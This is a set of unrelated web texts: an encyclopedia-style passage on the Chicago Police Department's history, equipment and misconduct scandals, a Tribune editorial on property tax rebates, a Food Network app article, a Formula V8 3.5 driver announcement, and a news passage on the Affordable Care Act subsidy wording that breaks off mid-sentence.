Wernick. The algorithm assigns scores to individuals based on criminal records as well as any known gang affiliations and other variables.[17]  As of 2016, the CPD created a list 1,400 of "strategic subjects" that has proven to be accurate and helpful to the department. In 2016, over 70 percent of the people shot have been on the list, and 80 percent of the shooters. According to the CPD, 117 of the 140 people arrested during a citywide gang raid performed in 2016 were on the list. The list is used by social workers and community leaders.[18]  Weapons and duty equipment [ edit ]  Chicago Police camera in 2006  Chicago Police helmet & billy-club circa 1968  Chicago police officers are required to buy their own duty equipment (except Taser x3, x26 and Motorola radio Motorola phone).[citation needed] All field officers must also be qualified to carry a Taser. Some officers choose to carry a backup weapon as well, which must meet certain specifications and requires annual qualification.[citation needed]  The prescribed semiautomatic pistol must meet the following requirements:  Officers who were hired on or before 1 December 1991 may keep their older double-action/single-action pistols, as well as their 4" barrel Smith & Wesson, Ruger or Colt revolvers in .38 Special or .357 Magnum. Recruits hired on or after 28 August 2015 must choose from Springfield Armory, Smith & Wesson, or Glock striker-fired 9mm pistols. Officers hired before 19 May 2008 may continue to use the Double Action Only (DAO) Beretta, Ruger, SIG Sauer, and S&W pistols for duty use.[19]  It was reported in June 2018 that the agency would allow the authorization of the SIG Sauer P320 as another service pistol to be chosen by officers to carry. Shortly after the P320 appeared on the authorized firearms list. [20]  Patrol vehicles contain long gun racks. Remington 870 12-gauge shotguns are available in the event that additional firepower is needed. Officers must complete five days of training to carry an AR-15 type rifle and have the option to purchase their own or use a department provided one.[citation needed]  History [ edit ]  19th century [ edit ]  Chicago Police in the rain in 1973 on Michigan Avenue  Chicago Police officer in 1973 inquiring about a traffic accident  In 1825, prior to the creation of Cook County, in what would later become, the village of Chicago, was in Putnam County.[21] Archibald Clybourn was appointed to be Constable of the area between the DuPage River and Lake Michigan. Clybourn went on to become an important citizen of the city, and the diagonal Clybourn Avenue is named after him.[22] When the town of Chicago was incorporated to become a city in 1837, provisions were made to elect an officer called the High Constable. He in turn would appoint a Common Constable from each of the six city wards.  In 1855, the newly elected city council passed ordinances to formally establish the Chicago Police Department. Chicago was divided into three police precincts, each served by a station house. Station No. 1 was located in a building on State Street between Lake and Randolph streets. Station No. 2 was on West Randolph Street near Des Plaines Street. Station No. 3 was on Michigan Street (since then renamed Hubbard Street[23]) near Clark Street. Political connections were important to joining the force; formal requirements were few, until 1895. After 1856, the department hired many foreign-born recruits, especially unskilled, but English-speaking, Irish immigrants.  In 1860, the detective forces were established to investigate and solve crimes. In 1861, the Illinois General Assembly passed a law creating a police board to become an executive department of Chicago autonomous of the mayor. The mayor was effectively stripped of his power to control the Chicago Police Department. Authority was given to three police commissioners. The commissioners created the office of superintendent to be the chief of police. The title is again in use today.  The first African American officer was appointed in 1872, but black police were assigned to duty in plain clothes only, mainly in largely black neighborhoods. In 1875, the Illinois General Assembly found that the police commissioners were unable to control rampant corruption within the Chicago Police Department. The legislature passed a new law returning power over the police to the mayor. The mayor was allowed to appoint a single police commissioner with the advice and consent of the city council.  In 1896, a parade of Chicago police officers were the subject of the first film ever to be shot in Chicago.[24]  Women entered the force in 1885, as matrons, caring for female prisoners. Marie Owens is believed to have been the first female police officer in the U.S., joining the Chicago Police Department in 1891, retiring in 1923. Holding the rank of Sergeant, Owens enforced child labor and welfare laws.[25]  Despite centralized policies and practices, the captains who ran the precincts or districts were relatively independent of headquarters, owing their jobs to neighborhood politicians. Decentralization meant that police could respond to local concerns, but graft often determined which concerns got most attention. In 1895, Chicago adopted civil service procedures, and written tests became the basis for hiring and promotion. Standards for recruits rose, though policing remained political.[26]  20th century [ edit ]  In 1906, the Department's Mounted Patrol was created to provide crowd control, and in 1908, the force was granted its first three motor cars, expanding in 1910 to motorbikes and boats.[27] Female officers were formally appointed beginning on August 13, 1913, starting with ten officers. In 1918, Grace Wilson, possibly the first black female police officer in United States history, joined the force.  In 1917, the Chicago Police Reserves were formed, organised on a regimental basis. They were used to assist or replace regular officers in high-crowd events, such as Memorial Day, and during the 1918 flu pandemic, worked for two weeks to enforce stringent health regulations.  In 1920, the Chicago Police Reserves were disbanded, owing to the failure of the City Council to provide for their organisation.  The Saint Valentine's Day Massacre led to the creation of the United States' first crime laboratory at Northwestern University, purchased by the Department in 1938.  The Department's Mounted Patrol was disbanded in 1948.  Orlando W. Wilson, the first civilian superintendent, was appointed by the mayor in 1960. A former dean of criminology, Wilson introduced major reforms to the Department, including a new and innovative communications center, the reduction of police stations, a fairer promotion process, and an emphasis on motorized patrol over foot patrol. Vehicles were painted blue and white and given blue lightbars, introducing the familiar silitoe tartan headbands, and the official motto, 'We Serve And Protect'. In 1963, the Cadet Program was also introduced.  The 1968 Democratic National Convention in Grant Park led to major criticism of the Chicago Police's crowd control methods, with the Walker Report criticizing both the Department and the National Guard for use of excessive force, and called the events a police riot.  The Department's Mounted Patrol, due to popular demand, was re-established in 1974, renamed imply as the Mounted Unit.  In August 1983, the Chicago Police Department's first African American superintendent, Fred Rice, was appointed by Chicago's first African American mayor, Harold Washington, followed by the first Hispanic superintendent, Matt L. Rodriguez, appointed by Mayor Richard M. Daley in 1992.  In 1994, the Chicago Alternative Policing Strategy (CAPS) was introduced, serving as a model for community policing operations nationwide, and in 1995, the Emergency Management and Communications Center, also known as '9-1-1 Center', opened, combining call-taking operations for all the emergency services across Chicago.  21st Century [ edit ]  The new Chicago Police Department Headquarters was opened on June 3, 2000, replacing an extremely aged and outdated building located at 1121 South State Street.  New superintendent Eddie Johnson was sworn in on April 13, 2016, upon the resignation of Garry McCarthy.  Fallen officers [ edit ]  Marker under the Haymarket monument at Chicago Police headquarters  Since 1853, the Chicago Police Department has lost 545 officers in the line of duty.[28] By custom, the department retires the stars of fallen officers and mounts them in a display case at Police Headquarters.  Union [ edit ]  The Chicago Police Department became unionized at the end of 1980.[29] This action was controversial as city officials resisted the union for as long as they could. Chicago police officers are represented by the Fraternal Order of Police.  Appearances in popular culture [ edit ]  Notable former officers [ edit ]  Pension system [ edit ]  The Policemen's Annuity and Benefit Fund of Chicago, which is the pension fund for CPD police officers, is projected to run out of money to pay retirees by 2021 unless a taxpayer bailout props up the fund.[32]  At the end of 2020, the fund "will have less than $150 million in assets to pay $928 million promised to 14,133 retirees the following year. Fund assets will fall from $3.2 billion at the end of 2015 to $1.4 billion at the end of 2018, $751 million at the end of 2019 and $143 million at the end of 2020."[32]  Miscellaneous [ edit ]  Saint Jude is the patron saint of the Chicago Police Department.[33]  Controversies and brutality [ edit ]  The police motorcade awaits the start of the 2007 Chicago Marathon  Over the years, the Chicago Police Department has been the subject of a number of scandals, police misconduct and other controversies:  Summerdale scandals [ edit ]  The Chicago Police Department did not face large-scale reorganization efforts until 1960 under Mayor Richard J. Daley. That year, eight officers from the Summerdale police district on Chicago's North Side were accused of operating a large-scale burglary ring. The Summerdale case dominated the local press, and became the biggest police-related scandal in the city's history at the time. Mayor Daley appointed a committee to make recommendations for improvements to the police department. The action resulted in the creation of a five-member board charged with nominating a superintendent to be the chief authority over police officers, enacting rules and regulations governing the police system, submitting budget requests to the city council, and overseeing disciplinary cases involving officers.[10] Criminologist O.W. Wilson was brought on as Superintendent of Police, and served until 1967 when he retired.[11]  1968 Democratic National Convention [ edit ]  Film shot by DASPO of the protests and Chicago police and military response to the protests  Both Daley and the Chicago Police Department faced a great deal of criticism for the department's actions during the 1968 Democratic National Convention, which was held in Chicago from August 26 to 29, 1968.  The convention was site of a series of protests, mainly over the war in Vietnam. Despite the poor behavior of some protesters, there was widespread criticism that the Chicago Police and National Guard used excessive force. Time published an article stating;  With billy clubs, tear gas and Mace, the blue-shirted, blue-helmeted cops violated the civil rights of countless innocent citizens and contravened every accepted code of professional police discipline. No one could accuse the Chicago cops of discrimination. They savagely attacked hippies, yippies, New Leftists, revolutionaries, dissident Democrats, newsmen, photographers, passers-by, clergymen and at least one handicapped. Winston Churchill's journalist grandson got roughed up. Even Dan Rather (the future CBS News anchor) who was on the floor doing a report during the convention got roughed up by the Chicago Police Department. Playboy's Hugh Hefner took a whack on the backside. The police even victimized a member of the British Parliament, Mrs. Anne Kerr, a vacationing Laborite who was maced outside the Conrad Hilton and hustled off to the lockup.[34]  Subsequently, the Walker Report to the U.S. National Commission on the Causes and Prevention of Violence called the police response a "police riot," assigning blame for the mayhem in the streets to the Chicago Police.  The Black Panther raid [ edit ]  On December 4, 1969, Black Panther Party leaders Fred Hampton and Mark Clark were shot and killed by officers working for the Cook County state's attorney. Though the police claimed they had been attacked by heavily armed Panthers, subsequent investigation showed that most bullets fired came from police weapons. Relatives of the two dead men eventually won a multimillion-dollar judgment against the city. For many African Americans, the incident symbolized prejudice and lack of restraint among the largely white police. The incident led to growing black voter disaffection with the Democratic machine.[26]  Ryan Harris murder [ edit ]  On July 28, 1998, an 11-year-old girl, Ryan Harris, was found raped and murdered in a vacant lot in the city's Englewood neighborhood. The homicide caught the nation's attention when, 12 days after Ryan's body was found, authorities, with the blessing of police command, charged a 7-year-old boy and 8-year-old boy with the murder, making them the youngest murder suspects in the nation at the time.[35] Semen found at the scene and subsequent DNA tests totally cleared the boys of the crime and pointed to convicted sex offender Floyd Durr. The boys each filed lawsuits against the city, which were eventually settled for millions of dollars. Durr pleaded guilty to the rape of Harris, but never admitted to her murder.[36]  Russ/Haggerty shootings [ edit ]  In the summer of 1999, two unarmed black motorists, Robert Russ and LaTanya Haggerty, were both fatally shot in separate incidents involving the Chicago Police. In the first incident, Russ, an honor student and star football player for Northwestern University, was shot inside of his car. This followed a high-speed chase and what the police claim was a struggle with the officer who shot him. In the second, Haggarty, a computer analyst, was shot by a female officer. Charges of racism against the CPD persisted, despite the fact that officers in both incidents were also black.[citation needed] Both shootings resulted in lawsuits and Haggerty's family reached an $18 million settlement with the city.[37]  In Malcolm Gladwell's book on the cognitive function of snap judgments, Blink,[38] well-known criminologist and police administrator James Fyfe said that Chicago police instructions in cases such as Russ's were "very detailed."[39] He said that the record shows that the officers involved all broke procedure and let the situation become unnecessarily deadly for the suspect. For instance, after claiming to see Russ drive erratically, the officers engaged in a driving pursuit. The pursuit, labeled "high-speed," did not exceed 70 miles per hour, but Fyfe contends that the adrenaline rush of the chase, coupled with the officers' reliance in their numbers, led to their ignoring impulses to maintain rational thinking in a potentially non-deadly situation. They speeded up a process that both allowed and required taking things more slowly and methodically. Russ's car spun out on the Ryan Expressway, at which point several officers quickly approached his vehicle. According to Gladwell, the false safety of numbers gave the three officers "the bravado to rush the car." Fyfe adds, "The lawyers [for the police] were saying that this was a fast-breaking situation. But it was only fast-breaking because the cops let it become one. He was stopped. He wasn't going anywhere."  Fyfe describes appropriate police procedure and contrasts the events that contributed to Russ's death thus,  [According to police instructions] You are not supposed to approach the car. You are supposed to ask the driver to get out. Well, two of the cops ran up ahead and opened the passenger side door. The other [officer] was on the other side, yelling at Russ to open the door. But Russ just sat there. I don't know what was going through his head. But he didn't respond. So this cop smashes the left rear window of his car and fires a single shot, and it hits Russ in the hand and chest. The cop says that he said, 'Show me your hands, show me your hands,' and he's claiming now that Russ was trying to grab his gun. I don't know if that was the case. I have to accept the cop's claim. But it's beside the point. It's still an unjustified shooting because he shouldn't have been anywhere near the car, and he shouldn't have broken the window.[40]  Gladwell also notes that the Russ and Haggerty killings occurred on the same night.[39]  Joseph Miedzianowski [ edit ]  In April 2001, Joseph Miedzianowski was convicted of racketeering and drug conspiracy during much of his 22-year career with the department. In January 2003 he was sentenced to life without the possibility of parole. His partner John Galligan and 24 other drug dealers were also arrested as part of the same investigation.[41]  William Hanhardt [ edit ]  In October 2001, Deputy Superintendent William Hanhardt pleaded guilty to running a nationwide jewel-theft ring that over twenty years may have stolen five million dollars' worth of diamonds and other gems. He had served with the department for 33 years and was sentenced to twelve years in federal custody.[42]  Eddie C. Hicks [ edit ]  In December 2001, Sergeant Eddie C. Hicks was indicted for operating a gang with other CPD officers. The group would raid drug houses, taking the contraband for resale. Hicks skipped a court appearance on June 9, 2003,[43] and was placed on the FBI's most-wanted list.[44] Hicks was arrested in Detroit on September 12, 2017, nearly 15 years after he fled on the eve of trial on federal drug conspiracy charges. Hicks, 68, has been the subject of an international manhunt since 2003, according to the FBI. He appeared in federal court in Detroit on Tuesday and was ordered held until he can be brought to Chicago to face the charges.[45]  Jon Burge torture allegations [ edit ]  Since the early 1980s, official investigations have responded to numerous allegations against former Commander Jon Burge, who has been accused of abusing more than two-hundred mostly African-American men from 1972 to 1991 in order to coerce confessions to crimes. Alleged victims claimed that Burge and his crew of detectives had them beaten, suffocated, burned, and treated with electric shock. In 1993, Burge was fired from the department, and is currently collecting his police pension. In summer 2006, special prosecutors completing a four-year investigation concluded that they had enough evidence to prove crimes against Burge and others, but "regrettably" could not bring charges because the statute of limitations had passed. In January 2008, the City Council approved a $19.8 million settlement with four men who claimed abuse by Burge and his men.[47]  In October 2008, Patrick J. Fitzgerald, United States Attorney for the Northern District of Illinois, had Burge arrested on charges of obstruction of justice and perjury in relation to a civil suit regarding the torture allegations against him. Burge was eventually convicted on all counts on June 28, 2010 and was sentenced to four and one half years in federal prison on January 21, 2011.  On May 6, 2015, Chicago City Council approved "reparations" of $5.5 million to victims of the torture, after spending $100 million in previous legal settlements. In addition, an apology was offered, and a promise to teach school children about these historical events.[48][49]  Nurse arrests [ edit ]  On November 19, 2002, Rachelle Jackson, a registered nurse, was on her way to work when she witnessed a vehicle accident involving a patrol car, in which Officer Kelly Brogan was dazed and her partner was unconscious. Fearing an explosion, Jackson removed both officers from the vehicle, and voluntarily went to the police station under the assumption of giving a statement after being informed that Brogan's service weapon was stolen. Instead she was interrogated for two days with little food or sleep and no access to a bathroom.[50] She was coerced into signing a statement that she had battered Brogan and taken her gun. She was jailed for 10 months before the charges were dismissed. Jackson was awarded $7.9 million by a jury in her lawsuit against Brogan and the city. In 2009, the amount was reduced to $1.9 million.[51] More than half the original verdict was awarded for "intentional inflection of emotional distress."[52]  Bar attack [ edit ]  Bartender being punched and kicked by off duty Chicago Police officer Anthony Abbate.  In 2007, security camera footage surfaced of an intoxicated off-duty police officer, Anthony Abbate, punching and kicking a female bartender, Karolina Obrycka. This occurred at Jesse's Shortstop Inn on February 19, 2007, after Obrycka refused to serve him any more alcohol. Abbate was later arrested, charged with felony battery, and stripped of police powers after TV news stations aired the footage. The Chicago Police soon terminated Abbate from the force, but questions remained over the city's handling of the case.[53]  Abbate was allowed to enter his courtroom hearing through a side door, in order to shield himself from the press. This generated controversy and allegations surfaced that the police ticketed the vehicles of news organizations and threatened reporters with arrest. Superintendent Cline announced that he would demote the Captain who gave the orders, and launched investigations into the actions of the other officers involved.[54]  On April 27, 2007, 14 additional charges against Abbate were announced. These included official misconduct, conspiracy, intimidation, and speaking with a witness.[55] Abbate pleaded not guilty to all 15 charges during a brief hearing on May 16, 2007.[56]  Referring to Abbate, Superintendent Phil Cline stated, "He's tarnished our image worse than anybody else in the history of the department."[57] The video of the attack has been viewed worldwide on 24-hour news channels and has garnered more than 100,000 views on YouTube. In the wake of this scandal and a similar scandal related to another videotaped police beating at a bar, Cline announced his retirement on April 2, 2007. While both men have denied it, some believe that Cline retired under pressure from Mayor Richard M. Daley.[58] Daley has since announced a plan to create an independent police review authority to replace the current Office of Professional Standards (OPS), which is under the jurisdiction of the police department.[59]  On April 30, 2007, attorneys representing Obrycka filed a lawsuit in the United States District Court for the Northern District of Illinois against the city of Chicago and Abbate and several other individuals.[60] On November 13, 2012, a federal jury found that a "widespread code of silence" within the Chicago Police Department had allowed Abbate to feel that he could attack Obrycka without fear of reprisal. They also found that Abbate participated in a conspiracy to cover up the attack. The jury awarded Obrycka $850,000 in damages.[61]  Abbate was convicted of aggravated battery, a felony, on June 2, 2009. Cook County Circuit Judge John J. Fleming rejected Abbate's claims that he had acted in self-defense. However, since Obrycka testified that Abbate had not identified himself as an officer during the attack Abbate was acquitted of official misconduct charges. Abbate faced up to five years in prison for the attack. On June 23, 2009, Abbate was sentenced to two years probation, including a curfew between 8 pm and 6 am, mandatory attendance at anger management classes, and 130 hours of community service.[62]  On December 15, 2009, Abbate was officially fired from the CPD after a mandatory review by the Chicago Civilian Police Board.[63] The firing was a formality, as the CPD does not allow convicted felons to serve on the force.  Jerome Finnigan [ edit ]  Chicago Police Officers Jerome Finnigan, Keith Herrera, Carl Suchocki, and Thomas Sherry were indicted in September 2007 for robbery, kidnapping, home invasion, and other charges. They were alleged to have robbed drug dealers and ordinary citizens of money, drugs, and guns. The officers were all part of Special Operations Sections (SOS). The officers had allegedly victimized citizens for years; however, allegations of their misconduct was not investigated until 2004. According to the State's Attorney, the officers repeatedly missed court dates and allowed alleged drug dealers to go free. Several lawsuits alleging misconduct on behalf of Finnigan and his team have been filed in federal court. Since the original indictments, Jerome Finnigan has also been charged with attempting to have several fellow officers killed. Since the scandal involving Finnigan, SOS has been disbanded.  On February 11, 2009, charges against Chicago Police Department officers Tom Sherry and Carl Suchocki were dropped. A Cook County judge dismissed all criminal charges accusing them of robbery and home invasion after some evidence was proven to be false, and witnesses in the case against Sherry and Suchocki were unable to place the officers at the scene of the crime. Charges against Herrera and Finnigan, however, are still pending. As of September 25, 2009, seven former SOS officers have pleaded guilty to charges relating to the scandal. The investigation is ongoing as police officers continue to come forward and cooperate with the state and federal investigation.[64][65][66][67][68][69]  Shooting of Flint Farmer [ edit ]  On June 7, 2011, Flint Farmer was fatally shot three times in the back by Chicago police officer Gildardo Sierra. Sierra and a partner had responded to a domestic disturbance call allegedly involving Farmer. When confronted by the police, Farmer fled. Sierra shot at Farmer multiple times, hitting him in the leg and abdomen. Publicly available police video shows Sierra circle the prone Farmer as three bright flashes emit from approximately waist level.[70] The coroner who performed the autopsy on Farmer reported that Farmer could have survived the shots to the leg and abdomen, but any of the three shots through the back would have been fatal.[70] Officer Sierra had been involved in two other shootings in 2011. Although the Chicago police department ruled the shooting justified, by October 23, 2011 Sierra had been stripped of his police powers and the FBI had opened an investigation into the incident. Eventually, no charges were brought against the officers. The city settled the civil case with Farmer's family for $4.1 million but did not admit fault.[71][72]  Richard Zuley [ edit ]  After his retirement multiple inquiries into overturned convictions that had relied on confessions he coerced triggered the Conviction Integrity Unit of the Cook County State's Attorney's Office to plan to subpoena Zuley's entire complaint history.[73]  Zuley faces multiple lawsuits from individuals who claim he framed them, or beat confessions from them.[73] Lathierial Boyd was exonerated and freed in 2013 after serving 23 years in prison, based on evidence from Zuley and suppression of exculpatory evidence. He filed a federal civil rights lawsuit, as well as suing the city, saying that Zuley framed him for a murder and attempted murder outside a nightclub in 1990. Anthony Garrett, who received a 100-year sentence for killing a seven-year-old boy, alleged Zuley beat his confession out of him.  On February 18, 2015, Spencer Ackerman, reporting in The Guardian, covered Zuley's alleged involvement in the torture and forced confessions of several homicide cases in Chicago. He said several inmates claimed abuse by Zuley.  In addition, he revealed additional details of Zuley's participation as a US Navy Reserve lieutenant from late 2002 to 2004 in the interrogation and torture of Guantanamo captive Mohamedou Ould Slahi. Slahi was among several men classified by the US as high-value detainees, for whom the Secretary of Defense authorized extended interrogation techniques, since characterized as torture.[74]  Jason Meisner, writing in the Chicago Tribune, reported that The Guardian characterized Zuley's use of torture as "brutal and ineffective".[73] Memos Zuley wrote, quoted in the Senate Intelligence Committee's report on the CIA's use of torture, described him using "stress positions"—the shackling of interrogation subjects in painful postures for extended periods of time. Zuley currently faces lawsuits in Chicago for using these techniques against American civilians.  Homan Square [ edit ]  The Guardian reported in February 2015 that the Chicago Police Department "operates an off-the-books interrogation compound, rendering Americans unable to be found by family or attorneys while locked inside what lawyers say is the domestic equivalent of a CIA black site." The Guardian added that the facility, the Homan Square Police Warehouse at 1011 S. Homan Ave in Chicago ( ), "has long been the scene of secretive work by special police units." The Guardian said that interviews with local attorneys and one protester "describe operations that deny access to basic constitutional rights ... The secretive warehouse ... trains its focus on Americans, most often poor, black and brown ... Witnesses, suspects or other Chicagoans who end up inside do not appear to have a public, searchable record entered into a database indicating where they are, as happens when someone is booked at a precinct. Lawyers and relatives insist there is no way of finding their whereabouts. Those lawyers who have attempted to gain access to Homan Square are most often turned away, even as their clients remain in custody inside."[75][76][77][78][79][80][81][82][83]  After the Guardian published the story, the Chicago Police provided a statement saying, without specifics, that there is nothing improper taking place at what it called the "sensitive" location, home to undercover units. The statement said "CPD [Chicago Police Department] abides by all laws, rules and guidelines pertaining to any interviews of suspects or witnesses, at Homan Square or any other CPD facility. If lawyers have a client detained at Homan Square, just like any other facility, they are allowed to speak to and visit them." The Guardian said several attorneys and one Homan Square arrestee have denied this. The CPD statement continued by saying "There are always records of anyone who is arrested by CPD, and this is not any different at Homan Square." The Guardian said the Chicago Police statement did not address how long into an arrest or detention those records are generated or their availability to the public, and that a department spokesperson did not respond to a detailed request for clarification.[75]  Laquan McDonald [ edit ]  On October 20, 2014, 17-year old Laquan McDonald was fatally shot by Officer Jason Van Dyke.[84] The killing sparked protests and calls for the mayor to resign.[84] A video released revealed McDonald walking down a street, carrying a knife.[84] McDonald was walking parallel to the two police cars when he was shot 16 times.[84] A criminal complaint filed in Cook County Circuit Court revealed that Van Dyke was the only officer to shoot.[84] The complaint also said that McDonald was on PCP at the time of his death.[84] Protestors were frustrated that the video took 13 months to release.[84] A freelance journalist sued to have the footage released as it was a public record.[84] A judge found in the reporter's favor and the video became public in November 2015.[84]  Van Dyke was charged with six counts of first-degree murder and one count of official misconduct.[84] He remained on desk duty after the shooting.[84] Van Dyke had a history of complaints in his career but was cleared in a majority of the cases.[84] He pleaded not guilty on December 29, 2015 to the charges against him.[84] After his arraignment, his attorney, Daniel Herbert, said that he would be looking for evidence to clear his client's name.[84]  2017 Department of Justice report and agreement for enforcement [ edit ]  Following the McDonald shooting, Illinois State Attorney General Lisa Madigan requested that the US Department of Justice conduct a civil rights investigation of the Chicago Police Department. They released their report in January 2017, announcing an agreement with the city to work on improvements under court supervision. They strongly criticized the police for a culture of excessive violence, especially against minority suspects and the community, and said there was insufficient and poor training, and lack of true oversight.[6]  See also [ edit ]  References [ edit ]
-In search of political cover (and not finding a lot of it these days), Mayor Rahm Emanuel and the Chicago City Council are patching together a plan to cushion the blow of a massive property tax increase.  Chicagoans are confronting their second-installment property tax bills. Prepare for sticker shock. Maybe each envelope should include a shot of bourbon.  The average homeowner's property tax bill is jumping by roughly 13 percent, though there can be wide swings in either direction. A homeowner whose property has a market value of $225,000 will see his or her bill increase by more than $400. Ouch. In areas of the city where property values have climbed steeply — Gold Coast, South Loop, Streeterville — some property owners could get socked with an additional $5,000 in taxes. Ouch and ouch.  The city's failure to adequately pay into retiree pension funds, coupled with an Illinois Supreme Court ruling that locks in pension promises at their current levels, left the city few options. Last fall, Emanuel and the aldermen passed the largest property tax increase in the city's modern history.  The biggest hit comes this year, followed by additional increases in following years. The total tax increase gradually climbs to $543 million a year by 2019.  All of that money will go to the police and firefighter pension funds. City leaders still have to figure out how to shore up the pension funds for teachers, municipal workers and laborers. Again, the options are limited.  The steep property tax increase is a political problem unto itself. But there's another one: When Emanuel proposed the tax increase, he vowed to protect homeowners whose properties are worth less than $250,000 by doubling their homestead exemption.  You can kiss that promise goodbye. Emanuel's plan would have required the General Assembly to pass a bill and Gov. Bruce Rauner to sign it. Lawmakers didn't send it, and Rauner had indicated he would likely veto it anyway. He wanted Emanuel to include money-saving reforms to city government before raising taxes.  So now the city is working on Plan B, a so-called rebate. Under four options being considered so far, low-income homeowners would qualify for one-time rebates averaging $100 to $254, according to an analysis from the mayor's office.  That might sound like compassionate government, but it's a ruse. The rebates would just take from one pocket to stuff a few dollars in the other. Under the various proposals, the rebates would total $10 million to $50 million, plus the cost of administering the program, which would likely be outsourced.  But the city can't just reduce its contribution to the pensions and rebate that money. It would have to find the money elsewhere in the budget, either by cutting operating costs or levying a new tax or fee to make up those dollars. All that to shell out what amounts to a consolation prize: a rebate of a few bucks to ameliorate that whopping tax increase.  Tax rebates are gimmicky. Look, here's some money back! A responsible government doesn't collect taxes and then give back the change. And there isn't any change, anyway.  In fact, there's likely another tax increase on the way. The state budget deal cut Thursday in Springfield threatens Chicagoans with another $250 million property tax increase, this one to help cover contributions to Chicago Public Schools pensions.  City Hall and CPS (and other Illinois governments) wouldn't have to rescue pension funds with massive property tax increases if, during the past decade, they had reduced costs, negotiated more reasonable agreements with organized labor and gotten a handle on runaway pension obligations. They didn't.  Taxpayers aren't fools. A token rebate isn't going to make them forgive and forget. Thanks for the booby prize, but we'll pass.  Join the discussion on Twitter @Trib_Ed_Board and on Facebook.
-Since its first show aired nearly 20 years ago, the Food Network has sliced, diced, baked, grilled, and fried its way into the homes of viewers ravenous for a steady diet of culinary showmanship. Now, the channel that introduced us to celebrity chefs and kitchen competitions is poised to change the way we consume recipes–starting with the first course, naturally.  Soup is the focus of the first of a new series of mobile cookbooks that launches October 11th in iTunes. (Amazon will follow in the coming weeks). Dubbed “Food Network Favorites,” the apps explore a single subject, presenting recipes and interactive editorial content along with a heaping helping of photographic food porn. One new title will be released every two months and devotees can subscribe to get new releases as they’re published.  Bob Madden, Food Network’s general manager and senior vice president of online brands, says the Food Network Favorites series will build off the success of its previous offerings such as “In the Kitchen,” which he says is currently the most popular iTunes paid app. Not to mention pull in scores of users to its website Food.com. The site shared over 450,000 recipes with over 7 million monthly uniques, according to Nielsen NPower, comScore in 2011.  But it’s also not quite going to duplicate the technical bells and whistles within its recently released Cupcakes! app. Though Madden maintains the title is consistently ranking in the top 10 in iTunes’ food and beverage category, thanks to the magic of analytics they discovered that home cooks were more interested in the actual recipes than, say, a bunch of bees flying out of a hive made of cheery, yellow cupcakes.  “We have a little of that in Soups but scaled back to focus on photography and the utility,” he says. So much so that if you’re salivating at that glimpse of a steaming bowl of creamy butternut squash soup, you can swipe the screen to move the copy off the page for a better view.  Interactivity isn’t totally missing. There are embedded videos and select pages that allow foodies to take a deeper dive into specific ingredients such as garnishes.  But the most intriguing thing about Soups–beyond turning mac and cheese or pizza into bowlfuls of spoonable comfort–is the potential to go back to the future of cookbooks.
-Lotus will field Roy Nissany and Rene Binder in the series' first season since the exit of major backer Renault.  "2016 will be a great year," said team boss Antonin Charouz.  "The series has a new name but we are still motivated to fight for the title.  "We chose two really committed drivers and I’m sure we will show our potential in the nine rounds on the schedule. We worked really hard during the winter, and we are ready to be back on-track more determined than ever."  Nissany, the 21-year-old son of former Minardi F1 tester Chanoch, makes the switch over from French squad Tech 1, which fielded him in his rookie FR3.5 season last year.  With Tech 1, the Israeli driver placed 13th in the standings, picking up a maiden podium at Spielberg.  "I’m so proud and happy to join the Lotus squad," said Nissany.  "I felt really comfortable with the car and all the crew during the winter test in Barcelona. I can’t wait to be back in that car, and it was a great experience. The team has been great as well so I really want to be back on track soon!"  Binder, 24, spent the past three years in GP2, his best result a sixth-place finish in Monaco in 2013.  The Austrian made his FR3.5 debut at Nurburgring last year with Pons Racing, scoring points with an eighth place in the second race of the weekend.  “After three disappointing years in GP2, I am really motivated for great results," he said.  "I think the team can help me to achieve this results and I totally trust them for the preparation of the car. We met a few weeks ago but we always had a great feeling.  "I ran only one [round] last season, but I have to find the right chemistry with the Michelin tires and there are also a couple of tracks I’ve never raced before."  Lotus 3.5's campaign in the series last year was spearheaded by Matthieu Vaxiviere, who finished runner-up and took three wins.  The Frenchman is likewise back in the series in 2016 - with new squad Spirit of Race.  2016 Formula V8 3.5 line-up so far:
-Lawyers at the Treasury Department and the Internal Revenue Service, above, didn’t see much of an issue, at first, with the Obamacare wording that has sent a case to the Supreme Court. (J. David Ake/Associated Press)  When the Supreme Court takes up the latest challenge to President Obama’s health-care law this week, how the justices interpret a six-word phrase in the bill could determine its fate.  The law, adopted in 2010, says the federal government can pay subsidies to help people afford insurance bought through “an Exchange established by the State.”  But two-thirds of the states have opted against setting up their own exchanges, and as a result, more Americans have been buying insurance through the federal insurance marketplace. Now, opponents of the law will make their case to the high court that Americans who are not using the state exchanges are ineligible for subsidies. And if they win, insurance premiums could skyrocket and many people might drop their coverage — possibly undermining the whole health-care program.  And as the justices weigh whether the health-care law in fact has a fatal glitch, one of the key questions is this: Why did the Obama administration rule-writing officials in the Internal Revenue Service and its parent agency, the Treasury Department, ultimately interpret the language the way they did?  It had never occurred to the Treasury Department official responsible for making the changes in the tax code required by the law that there was more than one way to read the phrase — until she happened across an article in a trade journal.  Emily McMahon, deputy assistant treasury secretary for tax policy, read an article in Bloomberg BNA’s Daily Tax Report in January 2011 raising questions about whether federal subsidies could be paid for millions of Americans buying insurance under the Affordable Care Act, according to Treasury Department officials. The issue was whether the law allowed these payments if the coverage was bought in states that did not set up their own insurance marketplaces.  So McMahon called a meeting with two of her top lawyers, one of them recalled, and asked whether there was “a glitch in the law we needed to worry about.”  In the end, the Treasury and IRS officials who wrote the rules adopted the more expansive reading of the law — allowing subsidies for all marketplaces — because they concluded this was required for the new health-care initiative to succeed, according to current and former agency officials and documents they provided to congressional investigators. And, the officials reasoned, Congress would not have passed a law that it wanted to fail.  “Nobody I talked to in government, including many people involved in the legislative process, thought this was a question,” recalled David Gamage, a tax law professor at the University of California at Berkeley hired to help the Treasury Department’s Office of Tax Policy implement the law. “Nobody thought the argument [limiting the subsidies] was persuasive.’’  While it was clear to the rules’ authors at Treasury and the IRS that the issue was a practical matter and not a political one, they met regularly with White House officials, who were closely monitoring the drafting of the regulations, two former officials said.  And while the team of tax attorneys had no doubt that the subsidies should apply to all marketplaces, there was a significant debate inside Treasury and the IRS about how much of their reasoning should be spelled out in public. The agency was sensitive to the legal and political minefield it was navigating.  The passage of the 955-page health-care law required officials to draft some of the biggest changes to the tax code in years. In weekly meetings in a fourth-floor conference room at IRS headquarters on the Mall, government lawyers deliberated over dozens of provisions of what would become Part 36B of the Internal Revenue Code, the rules governing the tax credits.  At first, the team of Treasury and IRS lawyers considered the subsidy question a minor issue, in part because it was widely expected that states would set up their own marketplaces.  “It didn’t occupy a lot of conversation, because it was not at all clear that a lot of 